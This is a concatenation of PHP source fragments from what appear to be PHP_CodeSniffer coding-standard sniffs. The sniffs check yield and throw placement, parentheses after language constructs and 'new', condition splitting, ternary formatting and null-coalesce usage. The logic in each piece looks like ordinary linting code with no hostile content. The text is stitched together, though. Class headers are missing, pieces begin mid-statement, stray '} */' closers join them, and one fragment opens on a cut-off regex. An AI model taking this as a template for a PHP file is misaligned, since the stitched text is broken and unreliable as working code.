parent::checkLinesAfter($phpcsFile, $jumpStatementPointer); } private function isOneOfYieldSpecialCases(File $phpcsFile, int $jumpStatementPointer): bool { $tokens = $phpcsFile->getTokens(); $jumpStatementToken = $tokens[$jumpStatementPointer]; if ($jumpStatementToken['code'] !== T_YIELD && $jumpStatementToken['code'] !== T_YIELD_FROM) { return false; } // check if yield is used inside parentheses (function call, while, ...) if (array_key_exists('nested_parenthesis', $jumpStatementToken)) { return true; } $pointerBefore = TokenHelper::findPreviousEffective($phpcsFile, $jumpStatementPointer - 1); // check if yield is used in assignment if (in_array($tokens[$pointerBefore]['code'], Tokens::$assignmentTokens, true)) { return true; } // check if yield is used in a return statement return $tokens[$pointerBefore]['code'] === T_RETURN; } private function isStackedSingleLineYield(File $phpcsFile, int $jumpStatementPointer, bool $previous): bool { $tokens = $phpcsFile->getTokens(); $yields = [T_YIELD, T_YIELD_FROM]; if (!in_array($tokens[$jumpStatementPointer]['code'], $yields, true)) { return false; } $adjoiningYieldPointer = $previous ? TokenHelper::findPrevious($phpcsFile, $yields, $jumpStatementPointer - 1) : TokenHelper::findNext($phpcsFile, $yields, $jumpStatementPointer + 1); return $adjoiningYieldPointer !== null && abs($tokens[$adjoiningYieldPointer]['line'] - $tokens[$jumpStatementPointer]['line']) === 1; } private function isThrowExpression(File $phpcsFile, int $jumpStatementPointer): bool { $tokens = $phpcsFile->getTokens(); if ($tokens[$jumpStatementPointer]['code'] !== T_THROW) { return false; } $pointerBefore = TokenHelper::findPreviousEffective($phpcsFile, $jumpStatementPointer - 1); return !in_array( $tokens[$pointerBefore]['code'], [T_SEMICOLON, T_COLON, T_OPEN_CURLY_BRACKET, T_CLOSE_CURLY_BRACKET, T_OPEN_TAG], true, ); } private function isFirstInCaseOrDefault(File $phpcsFile, int $jumpStatementPointer): bool { $tokens = $phpcsFile->getTokens(); $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $jumpStatementPointer - 1); if ($tokens[$previousPointer]['code'] !== T_COLON) { return false; } $firstPointerOnLine = TokenHelper::findFirstNonWhitespaceOnLine($phpcsFile, $previousPointer); return in_array($tokens[$firstPointerOnLine]['code'], [T_CASE, T_DEFAULT], true); } private function isLastInCaseOrDefault(File $phpcsFile, int $jumpStatementEndPointer): bool { $tokens = $phpcsFile->getTokens(); $nextPointer = TokenHelper::findNextEffective($phpcsFile, $jumpStatementEndPointer + 1); if (in_array($tokens[$nextPointer]['code'], [T_CASE, T_DEFAULT], true)) { return true; } return $tokens[$nextPointer]['code'] === T_CLOSE_CURLY_BRACKET && array_key_exists('scope_condition', $tokens[$nextPointer]) && $tokens[$tokens[$nextPointer]['scope_condition']]['code'] === T_SWITCH; } private function isLastInLastCaseOrDefault(File $phpcsFile, int $jumpStatementEndPointer): bool { if (!$this->isLastInCaseOrDefault($phpcsFile, $jumpStatementEndPointer)) { return false; } $nextPointer = TokenHelper::findNextEffective($phpcsFile, $jumpStatementEndPointer + 1); return !in_array($phpcsFile->getTokens()[$nextPointer]['code'], [T_CASE, T_DEFAULT], true); } } */ public function register(): array { return [ T_BREAK, T_CONTINUE, T_ECHO, T_EXIT, T_INCLUDE, T_INCLUDE_ONCE, T_PRINT, T_REQUIRE, T_REQUIRE_ONCE, T_RETURN, T_THROW, T_YIELD, T_YIELD_FROM, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $languageConstructPointer */ public function process(File $phpcsFile, $languageConstructPointer): void { $tokens = $phpcsFile->getTokens(); /** @var int $openParenthesisPointer */ $openParenthesisPointer = TokenHelper::findNextEffective($phpcsFile, $languageConstructPointer + 1); if ($tokens[$openParenthesisPointer]['code'] !== T_OPEN_PARENTHESIS) { return; } $closeParenthesisPointer = $tokens[$openParenthesisPointer]['parenthesis_closer']; $afterCloseParenthesisPointer = TokenHelper::findNextEffective($phpcsFile, $closeParenthesisPointer + 1); if (!in_array($tokens[$afterCloseParenthesisPointer]['code'], [T_SEMICOLON, T_CLOSE_PARENTHESIS, T_CLOSE_SHORT_ARRAY], true)) { return; } $containsContentBetweenParentheses = TokenHelper::findNextEffective( $phpcsFile, $openParenthesisPointer + 1, $closeParenthesisPointer, ) !== null; if ($tokens[$languageConstructPointer]['code'] === T_EXIT && $containsContentBetweenParentheses) { return; } $fix = $phpcsFile->addFixableError( sprintf('Usage of language construct "%s" with parentheses is disallowed.', $tokens[$languageConstructPointer]['content']), $languageConstructPointer, self::CODE_USED_WITH_PARENTHESES, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $openParenthesisPointer, ''); if ($tokens[$openParenthesisPointer - 1]['code'] !== T_WHITESPACE && $containsContentBetweenParentheses) { FixerHelper::add($phpcsFile, $openParenthesisPointer, ' '); } FixerHelper::replace($phpcsFile, $closeParenthesisPointer, ''); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [ T_NEW, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $newPointer */ public function process(File $phpcsFile, $newPointer): void { $tokens = $phpcsFile->getTokens(); /** @var int $nextPointer */ $nextPointer = TokenHelper::findNextEffective($phpcsFile, $newPointer + 1); if ($tokens[$nextPointer]['code'] === T_ATTRIBUTE) { $nextPointer = AttributeHelper::getAttributeTarget($phpcsFile, $nextPointer); } if ($tokens[$nextPointer]['code'] === T_ANON_CLASS || $tokens[$nextPointer]['code'] === T_READONLY) { return; } if ($tokens[$nextPointer]['code'] === T_OPEN_PARENTHESIS) { $nextPointer = $tokens[$nextPointer]['parenthesis_closer']; } $shouldBeOpenParenthesisPointer = $nextPointer + 1; do { $shouldBeOpenParenthesisPointer = TokenHelper::findNext( $phpcsFile, [ T_OPEN_PARENTHESIS, T_SEMICOLON, T_COMMA, T_INLINE_THEN, T_INLINE_ELSE, T_COALESCE, T_CLOSE_SHORT_ARRAY, T_CLOSE_SQUARE_BRACKET, T_CLOSE_PARENTHESIS, T_DOUBLE_ARROW, ], $shouldBeOpenParenthesisPointer, ); if ( $shouldBeOpenParenthesisPointer === null || $tokens[$shouldBeOpenParenthesisPointer]['code'] !== T_CLOSE_SQUARE_BRACKET || $tokens[$shouldBeOpenParenthesisPointer]['bracket_opener'] <= $newPointer ) { break; } $shouldBeOpenParenthesisPointer++; } while (true); if ( $shouldBeOpenParenthesisPointer !== null && $tokens[$shouldBeOpenParenthesisPointer]['code'] === T_OPEN_PARENTHESIS ) { return; } $fix = $phpcsFile->addFixableError( 'Usage of "new" without parentheses is disallowed.', $newPointer, self::CODE_MISSING_PARENTHESES, ); if (!$fix) { return; } /** @var int $classNameEndPointer */ $classNameEndPointer = TokenHelper::findPreviousEffective($phpcsFile, $shouldBeOpenParenthesisPointer - 1); $phpcsFile->fixer->beginChangeset(); FixerHelper::add($phpcsFile, $classNameEndPointer, '()'); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [ T_NEW, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $newPointer */ public function process(File $phpcsFile, $newPointer): void { $tokens = $phpcsFile->getTokens(); /** @var int $nextPointer */ $nextPointer = TokenHelper::findNextEffective($phpcsFile, $newPointer + 1); if ($tokens[$nextPointer]['code'] === T_ANON_CLASS) { return; } $parenthesisOpenerPointer = $nextPointer + 1; do { /** @var int $parenthesisOpenerPointer */ $parenthesisOpenerPointer = TokenHelper::findNext( $phpcsFile, [ T_OPEN_PARENTHESIS, T_SEMICOLON, T_COMMA, T_INLINE_THEN, T_INLINE_ELSE, T_COALESCE, T_CLOSE_SHORT_ARRAY, T_CLOSE_SQUARE_BRACKET, T_CLOSE_PARENTHESIS, T_DOUBLE_ARROW, ], $parenthesisOpenerPointer, ); if ( $tokens[$parenthesisOpenerPointer]['code'] !== T_CLOSE_SQUARE_BRACKET || $tokens[$parenthesisOpenerPointer]['bracket_opener'] <= $newPointer ) { break; } $parenthesisOpenerPointer++; } while (true); if ($tokens[$parenthesisOpenerPointer]['code'] !== T_OPEN_PARENTHESIS) { return; } $nextPointer = TokenHelper::findNextNonWhitespace($phpcsFile, $parenthesisOpenerPointer + 1); if ($nextPointer !== $tokens[$parenthesisOpenerPointer]['parenthesis_closer']) { return; } $fix = $phpcsFile->addFixableError('Useless parentheses in "new".', $newPointer, self::CODE_USELESS_PARENTHESES); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding( $phpcsFile, $parenthesisOpenerPointer, $tokens[$parenthesisOpenerPointer]['parenthesis_closer'], ); $phpcsFile->fixer->endChangeset(); } } minLineLength = SniffSettingsHelper::normalizeInteger($this->minLineLength); if ($this->shouldBeSkipped($phpcsFile, $controlStructurePointer)) { return; } $tokens = $phpcsFile->getTokens(); $parenthesisOpenerPointer = $tokens[$controlStructurePointer]['parenthesis_opener']; $parenthesisCloserPointer = $tokens[$controlStructurePointer]['parenthesis_closer']; $booleanOperatorPointers = TokenHelper::findNextAll( $phpcsFile, Tokens::$booleanOperators, $parenthesisOpenerPointer + 1, $parenthesisCloserPointer, ); if ($booleanOperatorPointers === []) { return; } $conditionStartPointer = TokenHelper::findNextEffective($phpcsFile, $parenthesisOpenerPointer + 1); $conditionEndPointer = TokenHelper::findPreviousEffective($phpcsFile, $parenthesisCloserPointer - 1); $conditionStartsOnNewLine = $tokens[$parenthesisOpenerPointer]['line'] !== $tokens[$conditionStartPointer]['line']; $conditionEndsOnNewLine = $tokens[$parenthesisCloserPointer]['line'] !== $tokens[$conditionEndPointer]['line']; $lineStart = $this->getLineStart($phpcsFile, $conditionStartsOnNewLine ? $conditionStartPointer - 1 : $parenthesisOpenerPointer); $lineEnd = $this->getLineEnd($phpcsFile, $conditionEndsOnNewLine ? $conditionEndPointer + 1 : $parenthesisCloserPointer); $condition = $this->getCondition($phpcsFile, $parenthesisOpenerPointer, $parenthesisCloserPointer); $lineLength = strlen($lineStart . $condition . $lineEnd); $conditionLinesCount = $tokens[$conditionEndPointer]['line'] - $tokens[$conditionStartPointer]['line'] + 1; if (!$this->shouldReportError($lineLength, $conditionLinesCount, count($booleanOperatorPointers))) { return; } $fix = $phpcsFile->addFixableError( sprintf( 'Condition of "%s" should be split to more lines so each condition part is on its own line.', $this->getControlStructureName($phpcsFile, $controlStructurePointer), ), $controlStructurePointer, self::CODE_REQUIRED_MULTI_LINE_CONDITION, ); if (!$fix) { return; } $controlStructureIndentation = IndentationHelper::getIndentation( $phpcsFile, $conditionStartsOnNewLine ? $conditionStartPointer : TokenHelper::findFirstNonWhitespaceOnLine($phpcsFile, $parenthesisOpenerPointer), ); $conditionIndentation = $conditionStartsOnNewLine ? $controlStructureIndentation : IndentationHelper::addIndentation($phpcsFile, $controlStructureIndentation); $innerConditionLevel = 0; $phpcsFile->fixer->beginChangeset(); if (!$conditionStartsOnNewLine) { FixerHelper::removeWhitespaceBefore($phpcsFile, $conditionStartPointer); FixerHelper::addBefore($phpcsFile, $conditionStartPointer, $phpcsFile->eolChar . $conditionIndentation); } for ($i = $conditionStartPointer; $i <= $conditionEndPointer; $i++) { if ($tokens[$i]['code'] === T_OPEN_PARENTHESIS) { $containsBooleanOperator = TokenHelper::findNext( $phpcsFile, Tokens::$booleanOperators, $i + 1, $tokens[$i]['parenthesis_closer'], ) !== null; $innerConditionLevel++; if ($containsBooleanOperator) { FixerHelper::removeWhitespaceAfter($phpcsFile, $i); FixerHelper::add( $phpcsFile, $i, $phpcsFile->eolChar . IndentationHelper::addIndentation($phpcsFile, $conditionIndentation, $innerConditionLevel), ); FixerHelper::removeWhitespaceBefore($phpcsFile, $tokens[$i]['parenthesis_closer']); FixerHelper::addBefore( $phpcsFile, $tokens[$i]['parenthesis_closer'], $phpcsFile->eolChar . IndentationHelper::addIndentation( $phpcsFile, $conditionIndentation, $innerConditionLevel - 1, ), ); } continue; } if ($tokens[$i]['code'] === T_CLOSE_PARENTHESIS) { $innerConditionLevel--; continue; } if (!in_array($tokens[$i]['code'], Tokens::$booleanOperators, true)) { continue; } $innerConditionIndentation = $conditionIndentation; if ($innerConditionLevel > 0) { $innerConditionIndentation = IndentationHelper::addIndentation( $phpcsFile, $innerConditionIndentation, $innerConditionLevel, ); } if ($this->booleanOperatorOnPreviousLine) { FixerHelper::add($phpcsFile, $i, $phpcsFile->eolChar . $innerConditionIndentation); FixerHelper::removeWhitespaceAfter($phpcsFile, $i); continue; } FixerHelper::removeWhitespaceBefore($phpcsFile, $i); FixerHelper::addBefore($phpcsFile, $i, $phpcsFile->eolChar . $innerConditionIndentation); } if (!$conditionEndsOnNewLine) { FixerHelper::removeWhitespaceAfter($phpcsFile, $conditionEndPointer); FixerHelper::add($phpcsFile, $conditionEndPointer, $phpcsFile->eolChar . $controlStructureIndentation); } $phpcsFile->fixer->endChangeset(); } private function shouldReportError(int $lineLength, int $conditionLinesCount, int $booleanOperatorPointersCount): bool { if ($conditionLinesCount === 1) { return $this->minLineLength === 0 || $lineLength >= $this->minLineLength; } return $this->alwaysSplitAllConditionParts ? $conditionLinesCount < $booleanOperatorPointersCount + 1 : false; } } */ public function register(): array { return [ T_INLINE_THEN, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $inlineThenPointer */ public function process(File $phpcsFile, $inlineThenPointer): void { $this->lineLengthLimit = SniffSettingsHelper::normalizeInteger($this->lineLengthLimit); $this->minExpressionsLength = SniffSettingsHelper::normalizeNullableInteger($this->minExpressionsLength); $tokens = $phpcsFile->getTokens(); $nextPointer = TokenHelper::findNextEffective($phpcsFile, $inlineThenPointer + 1); if ($tokens[$nextPointer]['code'] === T_INLINE_ELSE) { return; } $inlineElsePointer = TernaryOperatorHelper::getElsePointer($phpcsFile, $inlineThenPointer); if ($tokens[$inlineThenPointer]['line'] !== $tokens[$inlineElsePointer]['line']) { return; } $inlineElseEndPointer = TernaryOperatorHelper::getEndPointer($phpcsFile, $inlineThenPointer, $inlineElsePointer); $pointerAfterInlineElseEnd = TokenHelper::findNextEffective($phpcsFile, $inlineElseEndPointer + 1); if ($pointerAfterInlineElseEnd === null || $tokens[$pointerAfterInlineElseEnd]['code'] !== T_SEMICOLON) { return; } $endOfLineBeforeInlineThenPointer = $this->getEndOfLineBefore($phpcsFile, $inlineThenPointer); $actualLineLength = strlen(TokenHelper::getContent($phpcsFile, $endOfLineBeforeInlineThenPointer + 1, $pointerAfterInlineElseEnd)); if ($actualLineLength <= $this->lineLengthLimit) { return; } $expressionsLength = strlen(TokenHelper::getContent($phpcsFile, $inlineThenPointer + 1, $pointerAfterInlineElseEnd - 1)); if ( $this->minExpressionsLength !== null && $this->minExpressionsLength >= $expressionsLength ) { return; } $fix = $phpcsFile->addFixableError( 'Ternary operator should be reformatted to more lines.', $inlineThenPointer, self::CODE_MULTI_LINE_TERNARY_OPERATOR_NOT_USED, ); if (!$fix) { return; } $indentation = $this->getIndentation($phpcsFile, $endOfLineBeforeInlineThenPointer); $pointerBeforeInlineThen = TokenHelper::findPreviousEffective($phpcsFile, $inlineThenPointer - 1); $pointerBeforeInlineElse = TokenHelper::findPreviousEffective($phpcsFile, $inlineElsePointer - 1); $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetween($phpcsFile, $pointerBeforeInlineThen, $inlineThenPointer); FixerHelper::addBefore($phpcsFile, $inlineThenPointer, $phpcsFile->eolChar . $indentation); FixerHelper::removeBetween($phpcsFile, $pointerBeforeInlineElse, $inlineElsePointer); FixerHelper::addBefore($phpcsFile, $inlineElsePointer, $phpcsFile->eolChar . $indentation); $phpcsFile->fixer->endChangeset(); } private function getEndOfLineBefore(File $phpcsFile, int $pointer): int { $tokens = $phpcsFile->getTokens(); $endOfLineBefore = null; $startPointer = $pointer - 1; while (true) { $possibleEndOfLinePointer = TokenHelper::findPrevious( $phpcsFile, [T_WHITESPACE, T_OPEN_TAG, T_OPEN_TAG_WITH_ECHO, ...TokenHelper::INLINE_COMMENT_TOKEN_CODES], $startPointer, ); if ( $tokens[$possibleEndOfLinePointer]['code'] === T_WHITESPACE && $tokens[$possibleEndOfLinePointer]['content'] === $phpcsFile->eolChar ) { $endOfLineBefore = $possibleEndOfLinePointer; break; } if ( $tokens[$possibleEndOfLinePointer]['code'] === T_OPEN_TAG || $tokens[$possibleEndOfLinePointer]['code'] === T_OPEN_TAG_WITH_ECHO ) { $endOfLineBefore = $possibleEndOfLinePointer; break; } if ( in_array($tokens[$possibleEndOfLinePointer]['code'], TokenHelper::INLINE_COMMENT_TOKEN_CODES, true) && substr($tokens[$possibleEndOfLinePointer]['content'], -1) === $phpcsFile->eolChar ) { $endOfLineBefore = $possibleEndOfLinePointer; break; } $startPointer = $possibleEndOfLinePointer - 1; } /** @var int $endOfLineBefore */ $endOfLineBefore = $endOfLineBefore; return $endOfLineBefore; } private function getIndentation(File $phpcsFile, int $endOfLinePointer): string { $pointerAfterWhitespace = TokenHelper::findNextNonWhitespace($phpcsFile, $endOfLinePointer + 1); $actualIndentation = TokenHelper::getContent($phpcsFile, $endOfLinePointer + 1, $pointerAfterWhitespace - 1); return IndentationHelper::addIndentation($phpcsFile, $actualIndentation); } } */ public function register(): array { return [ T_EQUAL, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $equalPointer */ public function process(File $phpcsFile, $equalPointer): void { $this->enable = SniffSettingsHelper::isEnabledByPhpVersion($this->enable, 70400); if (!$this->enable) { return; } $this->checkCoalesce($phpcsFile, $equalPointer); $this->checkIf($phpcsFile, $equalPointer); } private function checkCoalesce(File $phpcsFile, int $equalPointer): void { /** @var int $variableStartPointer */ $variableStartPointer = TokenHelper::findNextEffective($phpcsFile, $equalPointer + 1); $variableEndPointer = IdentificatorHelper::findEndPointer($phpcsFile, $variableStartPointer); if ($variableEndPointer === null) { return; } $nullCoalescePointer = TokenHelper::findNextEffective($phpcsFile, $variableEndPointer + 1); $tokens = $phpcsFile->getTokens(); if ($tokens[$nullCoalescePointer]['code'] !== T_COALESCE) { return; } $variableContent = IdentificatorHelper::getContent($phpcsFile, $variableStartPointer, $variableEndPointer); /** @var int $beforeEqualEndPointer */ $beforeEqualEndPointer = TokenHelper::findPreviousEffective($phpcsFile, $equalPointer - 1); $beforeEqualStartPointer = IdentificatorHelper::findStartPointer($phpcsFile, $beforeEqualEndPointer); if ($beforeEqualStartPointer === null) { return; } $beforeEqualVariableContent = IdentificatorHelper::getContent($phpcsFile, $beforeEqualStartPointer, $beforeEqualEndPointer); if ($beforeEqualVariableContent !== $variableContent) { return; } $semicolonPointer = TokenHelper::findNext($phpcsFile, T_SEMICOLON, $equalPointer + 1); if (TokenHelper::findNext($phpcsFile, Tokens::$operators, $nullCoalescePointer + 1, $semicolonPointer) !== null) { return; } $fix = $phpcsFile->addFixableError( 'Use "??=" operator instead of "=" and "??".', $equalPointer, self::CODE_REQUIRED_NULL_COALESCE_EQUAL_OPERATOR, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::change($phpcsFile, $equalPointer, $nullCoalescePointer, '??='); $phpcsFile->fixer->endChangeset(); } private function checkIf(File $phpcsFile, int $equalPointer): void { if (!$this->checkIfConditions) { return; } $tokens = $phpcsFile->getTokens(); $conditionsCount = count($tokens[$equalPointer]['conditions']); if ($conditionsCount === 0) { return; } $ifPointer = array_keys($tokens[$equalPointer]['conditions'])[$conditionsCount - 1]; if ($tokens[$ifPointer]['code'] !== T_IF) { return; } $pointerAfterIfCondition = TokenHelper::findNextEffective($phpcsFile, $tokens[$ifPointer]['scope_closer'] + 1); if ($pointerAfterIfCondition !== null && in_array($tokens[$pointerAfterIfCondition]['code'], [T_ELSEIF, T_ELSE], true)) { return; } $ifVariableStartPointer = TokenHelper::findNextEffective($phpcsFile, $tokens[$ifPointer]['parenthesis_opener'] + 1); $ifVariableEndPointer = IdentificatorHelper::findEndPointer($phpcsFile, $ifVariableStartPointer); if ($ifVariableEndPointer === null) { return; } $nextIfPointer = TokenHelper::findNextEffective($phpcsFile, $ifVariableEndPointer + 1); if ($tokens[$nextIfPointer]['code'] !== T_IS_IDENTICAL) { return; } $nextIfPointer = TokenHelper::findNextEffective($phpcsFile, $nextIfPointer + 1); if ($tokens[$nextIfPointer]['code'] !== T_NULL) { return; } if (TokenHelper::findNextEffective($phpcsFile, $nextIfPointer + 1) !== $tokens[$ifPointer]['parenthesis_closer']) { return; } $beforeEqualVariableStartPointer = TokenHelper::findNextEffective($phpcsFile, $tokens[$ifPointer]['scope_opener'] + 1); $beforeEqualVariableEndPointer = IdentificatorHelper::findEndPointer($phpcsFile, $beforeEqualVariableStartPointer); if ($beforeEqualVariableEndPointer === null) { return; } if (TokenHelper::findNextEffective($phpcsFile, $beforeEqualVariableEndPointer + 1) !== $equalPointer) { return; } $variableName = IdentificatorHelper::getContent($phpcsFile, $ifVariableStartPointer, $ifVariableEndPointer); if ($variableName !== IdentificatorHelper::getContent( $phpcsFile, $beforeEqualVariableStartPointer, $beforeEqualVariableEndPointer, )) { return; } $semicolonPointer = TokenHelper::findNext($phpcsFile, T_SEMICOLON, $equalPointer + 1); if (TokenHelper::findNextEffective($phpcsFile, $semicolonPointer + 1) !== $tokens[$ifPointer]['scope_closer']) { return; } $fix = $phpcsFile->addFixableError( 'Use "??=" operator instead of if condition and "=".', $ifPointer, self::CODE_REQUIRED_NULL_COALESCE_EQUAL_OPERATOR, ); if (!$fix) { return; } $codeStartPointer = TokenHelper::findNextEffective($phpcsFile, $equalPointer + 1); $afterNullCoalesceEqualCode = IndentationHelper::removeIndentation( $phpcsFile, range($codeStartPointer, $semicolonPointer), IndentationHelper::getIndentation($phpcsFile, $ifPointer), ); $phpcsFile->fixer->beginChangeset(); FixerHelper::change( $phpcsFile, $ifPointer, $tokens[$ifPointer]['scope_closer'], sprintf('%s ??= %s', $variableName, trim($afterNullCoalesceEqualCode)), ); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [ T_ISSET, T_IS_IDENTICAL, T_IS_NOT_IDENTICAL, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $pointer */ public function process(File $phpcsFile, $pointer): void { $tokens = $phpcsFile->getTokens(); if ($tokens[$pointer]['code'] === T_ISSET) { $this->checkIsset($phpcsFile, $pointer); } else { $this->checkIdenticalOperator($phpcsFile, $pointer); } } public function checkIsset(File $phpcsFile, int $issetPointer): void { $tokens = $phpcsFile->getTokens(); $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $issetPointer - 1); if ($tokens[$previousPointer]['code'] === T_BOOLEAN_NOT) { return; } if (in_array($tokens[$previousPointer]['code'], Tokens::$booleanOperators, true)) { return; } $openParenthesisPointer = TokenHelper::findNextEffective($phpcsFile, $issetPointer + 1); $closeParenthesisPointer = $tokens[$openParenthesisPointer]['parenthesis_closer']; /** @var int $inlineThenPointer */ $inlineThenPointer = TokenHelper::findNextEffective($phpcsFile, $closeParenthesisPointer + 1); if ($tokens[$inlineThenPointer]['code'] !== T_INLINE_THEN) { return; } $commaPointer = TokenHelper::findNext($phpcsFile, T_COMMA, $openParenthesisPointer + 1, $closeParenthesisPointer); if ($commaPointer !== null) { return; } $inlineElsePointer = TernaryOperatorHelper::getElsePointer($phpcsFile, $inlineThenPointer); $variableContent = IdentificatorHelper::getContent($phpcsFile, $openParenthesisPointer + 1, $closeParenthesisPointer - 1); $thenContent = IdentificatorHelper::getContent($phpcsFile, $inlineThenPointer + 1, $inlineElsePointer - 1); if ($variableContent !== $thenContent) { return; } $fix = $phpcsFile->addFixableError( 'Use null coalesce operator instead of ternary operator.', $inlineThenPointer, self::CODE_NULL_COALESCE_OPERATOR_NOT_USED, ); if (!$fix) { return; } $startPointer = $issetPointer; if (in_array($tokens[$previousPointer]['code'], Tokens::$castTokens, true)) { $startPointer = $previousPointer; } $phpcsFile->fixer->beginChangeset(); FixerHelper::change($phpcsFile, $startPointer, $inlineElsePointer, sprintf('%s ??', $variableContent)); $phpcsFile->fixer->endChangeset(); } public function checkIdenticalOperator(File $phpcsFile, int $identicalOperator): void { $tokens = $phpcsFile->getTokens(); /** @var int $pointerBeforeIdenticalOperator */ $pointerBeforeIdenticalOperator = TokenHelper::findPreviousEffective($phpcsFile, $identicalOperator - 1); /** @var int $pointerAfterIdenticalOperator */ $pointerAfterIdenticalOperator = TokenHelper::findNextEffective($phpcsFile, $identicalOperator + 1); if ( $tokens[$pointerBeforeIdenticalOperator]['code'] !== T_NULL && $tokens[$pointerAfterIdenticalOperator]['code'] !== T_NULL ) { return; } $isYodaCondition = $tokens[$pointerBeforeIdenticalOperator]['code'] === T_NULL; $variableEndPointer = $isYodaCondition ? $pointerAfterIdenticalOperator : $pointerBeforeIdenticalOperator; $tmpPointer = $variableEndPointer; while ($tokens[$tmpPointer]['code'] === T_CLOSE_PARENTHESIS) { /** @var int $tmpPointer */ $tmpPointer = TokenHelper::findPreviousEffective($phpcsFile, $tokens[$tmpPointer]['parenthesis_opener'] - 1); } $variableStartPointer = IdentificatorHelper::findStartPointer($phpcsFile, $tmpPointer); if ($variableStartPointer === null) { return; } $pointerBeforeCondition = TokenHelper::findPreviousEffective( $phpcsFile, ($isYodaCondition ? $pointerBeforeIdenticalOperator : $variableStartPointer) - 1, ); if (in_array($tokens[$pointerBeforeCondition]['code'], Tokens::$booleanOperators, true)) { return; } /** @var int $inlineThenPointer */ $inlineThenPointer = TokenHelper::findNextEffective( $phpcsFile, ($isYodaCondition ? $variableEndPointer : $pointerAfterIdenticalOperator) + 1, ); if ($tokens[$inlineThenPointer]['code'] !== T_INLINE_THEN) { return; } $inlineElsePointer = TernaryOperatorHelper::getElsePointer($phpcsFile, $inlineThenPointer); $inlineElseEndPointer = TernaryOperatorHelper::getEndPointer($phpcsFile, $inlineThenPointer, $inlineElsePointer); $pointerAfterInlineElseEnd = TokenHelper::findNextEffective($phpcsFile, $inlineElseEndPointer + 1); $variableContent = IdentificatorHelper::getContent($phpcsFile, $variableStartPointer, $variableEndPointer); /** @var int $compareToStartPointer */ $compareToStartPointer = TokenHelper::findNextEffective( $phpcsFile, ($tokens[$identicalOperator]['code'] === T_IS_IDENTICAL ? $inlineElsePointer : $inlineThenPointer) + 1, ); /** @var int $compareToEndPointer */ $compareToEndPointer = TokenHelper::findPreviousEffective( $phpcsFile, ($tokens[$identicalOperator]['code'] === T_IS_IDENTICAL ? $pointerAfterInlineElseEnd : $inlineElsePointer) - 1, ); $compareToContent = IdentificatorHelper::getContent($phpcsFile, $compareToStartPointer, $compareToEndPointer); if ($compareToContent !== $variableContent) { return; } $fix = $phpcsFile->addFixableError( 'Use null coalesce operator instead of ternary operator.', $inlineThenPointer, self::CODE_NULL_COALESCE_OPERATOR_NOT_USED, ); if (!$fix) { return; } /** @var int $conditionStart */ $conditionStart = $isYodaCondition ? $pointerBeforeIdenticalOperator : $variableStartPointer; $variableContent = trim(TokenHelper::getContent($phpcsFile, $variableStartPointer, $variableEndPointer)); $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $conditionStart, sprintf('%s ??', $variableContent)); if ($tokens[$identicalOperator]['code'] === T_IS_IDENTICAL) { FixerHelper::removeBetweenIncluding($phpcsFile, $conditionStart + 1, $inlineThenPointer); $pointerBeforeInlineElse = TokenHelper::findPreviousEffective($phpcsFile, $inlineElsePointer - 1); FixerHelper::removeBetweenIncluding($phpcsFile, $pointerBeforeInlineElse + 1, $inlineElseEndPointer); } else { FixerHelper::removeBetweenIncluding($phpcsFile, $conditionStart + 1, $inlineElsePointer); } $phpcsFile->fixer->endChangeset(); } } |\?->)~'; public ?bool $enable = null; /** * @return array */ public function register(): array { return [ T_IS_IDENTICAL, T_IS_NOT_IDENTICAL, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $identicalPointer */ public function process(File $phpcsFile, $identicalPointer): int { $this->enable = SniffSettingsHelper::isEnabledByPhpVersion($this->enable, 80000); if (!$this->enable) { return $identicalPointer + 1; } $tokens = $phpcsFile->getTokens(); [$pointerBeforeIdentical, $pointerAfterIdentical] = $this->getIdenticalData($phpcsFile, $identicalPointer); if ($tokens[$pointerBeforeIdentical]['code'] !== T_NULL && $tokens[$pointerAfterIdentical]['code'] !== T_NULL) { return $identicalPointer + 1; } [$identificatorStartPointer, $identificatorEndPointer, $conditionStartPointer] = $this->getConditionData( $phpcsFile, $pointerBeforeIdentical, $pointerAfterIdentical, ); if ($identificatorStartPointer === null || $identificatorEndPointer === null) { return $identicalPointer + 1; } $isYoda = $tokens[$pointerBeforeIdentical]['code'] === T_NULL; $identificator = IdentificatorHelper::getContent($phpcsFile, $identificatorStartPointer, $identificatorEndPointer); $pointerAfterCondition = TokenHelper::findNextEffective( $phpcsFile, ($isYoda ? $identificatorEndPointer : $pointerAfterIdentical) + 1, ); $allowedBooleanCondition = $tokens[$identicalPointer]['code'] === T_IS_NOT_IDENTICAL ? T_BOOLEAN_AND : T_BOOLEAN_OR; if ($tokens[$pointerAfterCondition]['code'] === $allowedBooleanCondition) { return $this->checkNextCondition($phpcsFile, $identicalPointer, $conditionStartPointer, $identificator, $pointerAfterCondition); } if ($tokens[$pointerAfterCondition]['code'] === T_INLINE_THEN) { $this->checkTernaryOperator($phpcsFile, $identicalPointer, $conditionStartPointer, $identificator, $pointerAfterCondition); return $pointerAfterCondition + 1; } return $identicalPointer + 1; } private function checkTernaryOperator( File $phpcsFile, int $identicalPointer, int $conditionStartPointer, string $identificator, int $inlineThenPointer ): void { $tokens = $phpcsFile->getTokens(); $ternaryOperatorStartPointer = 